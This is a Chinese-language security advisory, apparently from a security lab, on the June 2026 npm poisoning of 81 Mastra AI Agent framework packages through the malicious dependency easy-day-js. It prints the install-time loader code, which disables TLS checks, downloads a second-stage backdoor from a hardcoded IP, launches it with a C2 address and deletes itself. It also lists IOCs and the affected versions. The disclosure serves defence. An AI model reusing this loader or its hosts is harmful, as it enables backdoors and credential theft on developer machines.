文章总结: 2026年6月17日,AIAgent开发框架Mastra的81个npm包遭批量投毒,攻击者通过恶意依赖easy-day-js在安装阶段关闭TLS校验并下载二阶段载荷,建立跨平台持久化后门,窃取开发者凭证及云服务密钥。文档详细分析两阶段攻击链、IOC指标和受影响组件清单,建议企业加强供应链安全检测。 综合评分: 87 文章分类: 漏洞分析,恶意软件,供应链安全,漏洞预警,安全运营
AI Agent 开发框架 Mastra 被投毒,周下载量超百万
原创
墨菲安全实验室 墨菲安全实验室
墨菲安全实验室
2026年6月17日 11:42 北京
在小说阅读器读本章
去阅读
01.简述
2026 年 6 月 17 日上午 9 点左右,墨菲安全实验室监测到 AI Agent 开发框架 Mastra 生态中共有 81 个 npm 包出现批量投毒。Mastra 是一个面向 TypeScript/Node.js 生态的 AI Agent 开发框架,被广泛用于 AI 工作流编排和智能体应用开发。
攻击者通过在受影响组件的依赖链中引入恶意包 easy-day-js@^1.11.21 实施攻击,当开发者环境或 CI/CD 流程安装了相关版本,恶意链路就会自动触发:一阶段样本负责下载并执行二阶段后门载荷,随后在本机建立持久化、回传主机信息,并等待远程控制指令下发。
02.影响分析
本次 Mastra 生态 npm 投毒事件影响面较大,主要集中在 AI Agent 开发与 CI/CD 构建环境中,造成开发者凭据及云资源访问密钥被窃取的风险。
Mastra 作为 AI Agent 开发框架,其典型应用场景通常同时接入大模型 API(如 OpenAI、Anthropic)、云服务(AWS、GCP、Cloudflare)、向量数据库及业务系统接口,使开发与运行环境中往往集中存放多类高敏感访问凭证,放大了单点环境被入侵后的潜在影响范围。
此外,恶意依赖在安装阶段即被触发执行,并通过二阶段载荷实现后门投递与后续远程控制能力。
03.投毒分析
第一阶段:安装期下载并启动二阶段载荷
1、攻击者在 Mastra 相关组件中引入恶意依赖
以NPM包 @mastra/core v1.42.1为例,攻击者在 package.json 中引入恶意依赖:
{ "bugs": { "url": "https://github.com/mastra-ai/mastra/issues" }, "dependencies": { "@a2a-js/sdk": "~0.3.13", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/[email protected]", "easy-day-js": "^1.11.21", …… }}
2、easy-day-js 投毒行为分析
第一阶段:安装期下载并启动二阶段载荷
恶意逻辑会在安装阶段执行 setup.cjs,首先将 NODE_TLS_REJECT_UNAUTHORIZED 设为 0 以关闭 TLS 证书校验,随后从硬编码地址 https://23.254.164.92:8000/update/49890878 下载二阶段载荷,并写入系统临时目录下一个随机命名的 .js 文件中。
之后,样本会调用当前 Node 解释器在后台静默启动该文件,并将 23.254.164.123:443 作为后续控制地址传入,最后删除自身以减少取证痕迹,核心代码:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';const stage1 = 'https://23.254.164.92:8000/update/49890878';const c2 = '23.254.164.123:443';writeFileSync(join(tmpdir(), '.pkg_history'), __dirname, 'utf-8');writeFileSync(join(tmpdir(), '.pkg_logs'), Buffer.from([ 0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3]));const payload = await (await fetch(stage1, { method: 'GET' })).text();const file = join(tmpdir(), randomBytes(12).toString('hex') + '.js');writeFileSync(file, payload, 'utf-8');spawn(process.execPath, [file, c2], { detached: true, stdio: 'ignore', windowsHide: true}).unref();rmSync(__filename, { force: true });
第二阶段:跨平台驻留并执行远程指令
二阶段样本是一个跨平台后门控制器,会在 Windows、macOS 和 Linux 环境中分别建立持久化机制,并收集主机基础信息、进程列表、已安装软件以及 Chromium 系浏览器配置、历史域名和扩展数据。
网络侧,样本会将数据经 Base64 编码后发送至 https://<目标>:443/49890878,主控地址为 23.254.164.123:443,同时具备备用域名生成能力,二阶段样本同时支持远程下发模块,并可通过 Node、Shell、NSpawn、SSpawn 四种方式执行,具备持续控制和能力扩展特征。
04.IOC
https[:]//23.254.164.92[:]8000/update/4989087823.254.164.123:443gRToJpgrMD.com:443ETXLKwmGZX.com:443HkcZyxKCeW.com:443ngeplTOYuj.com:443wmvgYFtYZF.com:443yXukyypoFh.com:443okezFhgNYI.com:443nIkVECvUXe.com:443euohgEeQZl.com:443YpTGqthaVC.com:443
**05.影响组件清单
| | | | — | — | | 组件名 | 版本 | | @mastra/acp | 0.2.2 | | @mastra/agent-browser | 0.3.2 | | @mastra/agent-builder | 1.0.42 | | @mastra/ai-sdk | 1.4.6 | | @mastra/arize | 1.2.3 | | @mastra/auth | 1.0.3 | | @mastra/auth-auth0 | 1.0.2 | | @mastra/auth-better-auth | 1.0.4 | | @mastra/auth-clerk | 1.0.3 | | @mastra/auth-supabase | 1.0.2 | | @mastra/auth-workos | 1.5.3 | | @mastra/blaxel | 0.4.2 | | @mastra/braintrust | 1.1.4 | | @mastra/chroma | 1.0.2 | | @mastra/clickhouse | 1.10.1 | | @mastra/client-js | 1.24.1 | | @mastra/cloudflare | 1.4.2 | | @mastra/cloudflare-d1 | 1.0.7 | | @mastra/convex | 1.2.2 | | @mastra/core | 1.42.1 | | @mastra/couchbase | 1.0.4 | | @mastra/datadog | 1.2.5 | | @mastra/daytona | 0.4.2 | | @mastra/deployer | 1.42.1 | | @mastra/deployer-cloudflare | 1.1.44 | | @mastra/deployer-vercel | 1.1.38 | | @mastra/docker | 0.3.1 | | @mastra/dsql | 1.0.3 | | @mastra/duckdb | 1.4.3 | | @mastra/dynamodb | 1.0.9 | | @mastra/e2b | 0.3.4 | | @mastra/editor | 0.11.3 | | @mastra/evals | 1.3.1 | | @mastra/express | 1.3.31 | | @mastra/fastembed | 1.1.3 | | @mastra/fastify | 1.3.31 | | @mastra/gcs | 0.2.3 | | @mastra/hono | 1.4.26 | | @mastra/inngest | 1.5.2 | | @mastra/koa | 1.5.14 | | @mastra/langfuse | 1.3.6 | | @mastra/langsmith | 1.2.4 | | @mastra/libsql | 1.13.1 | | @mastra/loggers | 1.1.3 | | @mastra/longmemeval | 1.0.50 | | @mastra/mcp | 1.10.1 | | @mastra/mcp-docs-server | 1.1.47 | | @mastra/mcp-registry-registry | 1.0.2 | | @mastra/memory | 1.20.4 | | @mastra/mongodb | 1.9.3 | | @mastra/mssql | 1.3.2 | | @mastra/nestjs | 0.1.15 | | @mastra/observability | 1.14.2 | | @mastra/otel-bridge | 1.2.3 | | @mastra/otel-exporter | 1.2.3 | | @mastra/pg | 1.13.1 | | @mastra/pinecone | 1.0.2 | | @mastra/playground-ui | 33.0.1 | | @mastra/posthog | 1.0.29 | | @mastra/qdrant | 1.0.3 | | @mastra/rag | 2.2.2 | | @mastra/redis | 1.1.3 | | @mastra/s3 | 0.5.3 | | @mastra/s3vectors | 1.0.7 | | @mastra/schema-compat | 1.2.12 | | @mastra/sentry | 1.1.4 | | @mastra/server | 2.1.1 | | @mastra/stagehand | 0.2.5 | | @mastra/tavily | 1.0.3 | | @mastra/temporal | 0.1.14 | | @mastra/turbopuffer | 1.0.3 | | @mastra/upstash | 1.1.3 | | @mastra/vectorize | 1.0.3 | | @mastra/voice-aws-nova-sonic | 0.1.4 | | @mastra/voice-deepgram | 0.12.2 | | @mastra/voice-elevenlabs | 0.12.2 | | @mastra/voice-google | 0.12.3 | | @mastra/voice-google-gemini-live | 0.12.2 | | @mastra/voice-openai | 0.12.3 | | @mastra/voice-openai-realtime | 0.12.6 | | mastra | 1.13.1 |
企业级漏洞及投毒治理实践扫码领取:
部分典型客户
七大产品矩阵
**
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:墨菲安全实验室 墨菲安全实验室 墨菲安全实验室《AI Agent 开发框架 Mastra 被投毒,周下载量超百万》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论